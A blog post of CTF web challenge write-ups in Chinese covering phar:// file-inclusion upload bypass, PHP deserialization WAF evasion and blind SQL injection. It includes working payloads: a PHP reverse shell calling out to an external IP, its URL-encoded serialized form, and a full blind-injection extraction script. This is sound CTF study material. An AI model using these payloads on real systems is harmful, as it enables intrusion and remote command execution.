Loading... ##Web ###0x01:签到题 ####源码 <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-2aeca428cc172b41d729a9aa907e2cba40" aria-expanded="true"><div class="accordion-toggle"><span style="">源码</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-2aeca428cc172b41d729a9aa907e2cba40" class="collapse collapse-content"><p></p> index.php: ```php <html> Tips: the parameter is file! :) <!-- upload.php --> </html> <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } } ?> ``` upload.php: ```php <form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form> <?php if(!empty($_FILES["file"])) { echo $_FILES["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?> ``` <p></p></div></div></div> ####writeup 进去有一句话:`Tips: the parameter is file! :)`, 意思是这个页面接受一个参数file。 查看网页源代码发现有一句注释 “upload.php”,访问后是一个文件上传的界面。 回去index界面,尝试输入参数file=upload.php,发现报错: ``` Warning: include(upload.php.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 15 ``` 得知这个参数的值是传给include的,并且会在后面补一个 .php 后缀。 尝试加个%00截断。被waf吃了…… 用PHP伪协议读源码,发现可以读到源码。index.php 和 upload.php 的源码在上面。 审计源码发现 upload.php 限制了上传的后缀和content-type,并且过滤了%00之类的截断,所以不可能直接上传包含恶意文件。这里利用了 `phar://` 伪协议。 写一个含有PHP木马的文件a.php,打包成压缩包,再重命名为b.jpg,然后上传。成功上传后构造payload如下: ``` http://174.137.54.82:8080/?file=phar://upload/b.jpg/a ``` 成功Getshell,在根目录下找到flag。 ####总结 这道题的知识点主要是 `phar://` 伪协议。这个伪协议可以访问压缩流,并且和文件的后缀无关。所以可以绕过后缀检测读取恶意文件。 ###0x02 babyweb ####源码: <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-8e1cafb7bfafa5f4f1e9033cb34d2df875" aria-expanded="true"><div class="accordion-toggle"><span style="">源码</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-8e1cafb7bfafa5f4f1e9033cb34d2df875" class="collapse collapse-content"><p></p> index.php: ```php <?php class BlogLog { public $log_ = '/tmp/web_log'; public $content = '[access] %s'; public function __construct($data=null) { $temp = $this->init($data); $this->render($temp); } public function init($data) { // No, you can't control an object anymore! $format = '/O:\d:/'; $flag = true; $flag = $flag && substr($data, 0, 2) !== 'O:'; $flag = $flag && (!preg_match($format, $data)); if ($flag){ return unserialize($data); } return []; } public function createLog($filename=null, $content=null) { if ($this->log_ != null) $filename = $this->log_; if ($this->content != null) $content = $this->content; file_put_contents($filename, $content); } public function render($k) { echo "Fuck Apeng!!!!!"; echo sprintf($this->content, $k['name']); } public function __destruct() { $this->createLog(); } } $data = ""; if (isset($_GET['data'])) { $data = $_GET['data']; new BlogLog($data); } else { highlight_file(__FILE__); } ``` <p></p></div></div></div> ####writeup 这道题上来就给了源码。审计源码发现有 `unserialize($data)` ,并且这个 `data` 是我们可控的。于是寻找可利用的危险函数。 在 `createLog` 这个函数里面找到了 `file_put_contents` 这个危险函数,它可以让我们向web目录下写入一个PHP木马。回溯寻找调用链。这个函数是由类的魔术方法 `__destruct` 调用的,写入的文件名和内容都是类的变量。类在创建的时候会调用反序列化。利用方法已经找到了,剩下的就是绕waf了。 这道题的waf是两个if。第一个if检测了最开始的两个字符,不能是 `O:` 。这个可以用数组来绕过。第二个if通过正则匹配了 `O:(数字)` 这样的字符串。这里可以通过在 `O:` 后面加 `+` 来绕过。(具体原因见:http://sec-redclub.com/archives/962/) exp: ```php <?php class BlogLog { public $log_ = './s.php'; public $content = '<?php set_time_limit(0);$ip=\'193.112.253.241\';$port=\'8848\';$fp=@fsockopen($ip,$port,$errno,$errstr);fputs($fp,"\n++++++++++connect success++++++++\n");while(!feof($fp)){fputs($fp,"shell:");$shell=fgets($fp);$message=`$shell`;fputs($fp,$message);}fclose($fp);?>'; } $a = new BlogLog; $data = [$a]; echo serialize($data); ?> ``` 加上 `+` 后进行 URL encode 得到payload: ```php %61%3a%31%3a%7b%69%3a%30%3b%4f%3a%2b%37%3a%22%42%6c%6f%67%4c%6f%67%22%3a%32%3a%7b%73%3a%34%3a%22%6c%6f%67%5f%22%3b%73%3a%37%3a%22%2e%2f%73%2e%70%68%70%22%3b%73%3a%37%3a%22%63%6f%6e%74%65%6e%74%22%3b%73%3a%32%36%30%3a%22%3c%3f%70%68%70%20%73%65%74%5f%74%69%6d%65%5f%6c%69%6d%69%74%28%30%29%3b%24%69%70%3d%27%31%39%33%2e%31%31%32%2e%32%35%33%2e%32%34%31%27%3b%24%70%6f%72%74%3d%27%38%38%34%38%27%3b%24%66%70%3d%40%66%73%6f%63%6b%6f%70%65%6e%28%24%69%70%2c%24%70%6f%72%74%2c%24%65%72%72%6e%6f%2c%24%65%72%72%73%74%72%29%3b%66%70%75%74%73%28%24%66%70%2c%22%5c%6e%2b%2b%2b%2b%2b%2b%2b%2b%2b%2b%63%6f%6e%6e%65%63%74%20%73%75%63%63%65%73%73%2b%2b%2b%2b%2b%2b%2b%2b%5c%6e%22%29%3b%77%68%69%6c%65%28%21%66%65%6f%66%28%24%66%70%29%29%7b%66%70%75%74%73%28%24%66%70%2c%22%73%68%65%6c%6c%3a%22%29%3b%24%73%68%65%6c%6c%3d%66%67%65%74%73%28%24%66%70%29%3b%24%6d%65%73%73%61%67%65%3d%60%24%73%68%65%6c%6c%60%3b%66%70%75%74%73%28%24%66%70%2c%24%6d%65%73%73%61%67%65%29%3b%7d%66%63%6c%6f%73%65%28%24%66%70%29%3b%3f%3e%22%3b%7d%7d ``` 打过去后成功Getshell。 ####总结 这道题算是涨姿势了,之前从来不知道反序列化还可以这么绕过……不过通过这题我算是了解了反序列化的思维方式:通过危险函数回溯来寻找利用链,弄清楚需要控制哪些变量,然后再去考虑绕过waf。 ###0x03 easyweb revenger ####源码 <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-0b5ae1ab91d65a38437730b6b131f66b53" aria-expanded="true"><div class="accordion-toggle"><span style="">源码</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-0b5ae1ab91d65a38437730b6b131f66b53" class="collapse collapse-content"><p></p> index.php: ```php <?php error_reporting(0); include_once("conn.php"); if (isset($_GET['source'])) { show_source(__FILE__); exit(); } function is_valid($str) { $black=['admin','guest','limit','by','lpad','substr','mid','like','or','char','union select','greatest','%00','\'','_',' ','in','<','>','_','\.','\(\)','#','and','substring_index','table_name','desc','if','trim','get_lock','order','substring','database','concat','length','benchmark','where','concat','upper','insert','having','sleep','regexp','load_file','where','update','updatexml','schema']; foreach ($black as $value) { if(preg_match("/".$value."/i", $str)) return false; } return true; } header("Content-Type: text/json; charset=utf-8"); // check user input if (!isset($_REQUEST['id']) || empty($_REQUEST['id'])) { die(json_encode(['error' => 'Which one do you wanna vote.I prefer Ashen!'])); } $id = $_REQUEST['id']; if (!is_valid($id)) { die(json_encode(['error' => 'Try again, Hacker!'])); } $db = new mysqli($host, $user, $pass, $dbname); $res = $db->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); if ($res === false) { die(json_encode(['error' => 'An error has occurred when voting!'])); } //print("UPDATE vote SET count = count + 1 WHERE id = ${id}"); echo json_encode(['message' => 'Vote succeed.']); ?> ``` <p></p></div></div></div> ####writeup 打开题目是一个选举的界面。查看网页源代码发现有两行注释: ```html <!-- flag is in table flag --> <!-- sources is in ./vote.php?source --> ``` 明显的注入。 访问注释中的路径得到源码。审计源码,基本都过滤完了…… 注入点应该是在id那里。简单测试一下,发现只要语句正确投票数就会 +1。这里就存在盲注的漏洞。 看看怎么绕过吧。空格可以用 `/**/` 绕过;and 可以用 `^` 来代替;substr之类的可以先left()再right()来代替;ascii()也没有被过滤。这里把schema和table_name给过滤了,所以只能盲猜了。题目给了flag在flag表里面,那就猜测flag表里面有一个flag列,里面就是flag。上脚本试试: ```python #encoding: utf-8 import requests as r import string import re url0 = "http://123.207.32.26:8001/" url1 = "http://123.207.32.26:8001/vote.php?id=" characters = string.ascii_letters + string.digits + string.punctuation max_len = 60 database = "" num = 0 for i in range(1, max_len): next_position = False for j in characters: payload = url1 + "0^(ascii(right(left((select/**/flag/**/from/**/flag),{0}),1))={1})".format(i, ord(j)) #print (payload) response = r.get(url0) num = int(re.findall(r"Aye<br>votes:(\d+)", response.text)[0]) + 1 #print (num) r.get(payload) response = r.get(url0) check = "Aye<br>votes:{}".format(num) if check in response.text: database += j next_position = True break num = num + 1 if next_position == False : break print (database) print (database) ``` 脚本跑一通还真就跑出东西来了,这说明猜测是对的。得到flag。 ####总结 这道题让我Get了一种方法:同时用left和right来代替substr。还有就是最开始那个waf是没有效果的……直接就return true了……那时候我没用ascii()这个函数,注出来的flag全是小写。可能是substr或者是=的问题吧……以后要多注意一下这种细节。 最后修改:2019 年 06 月 13 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏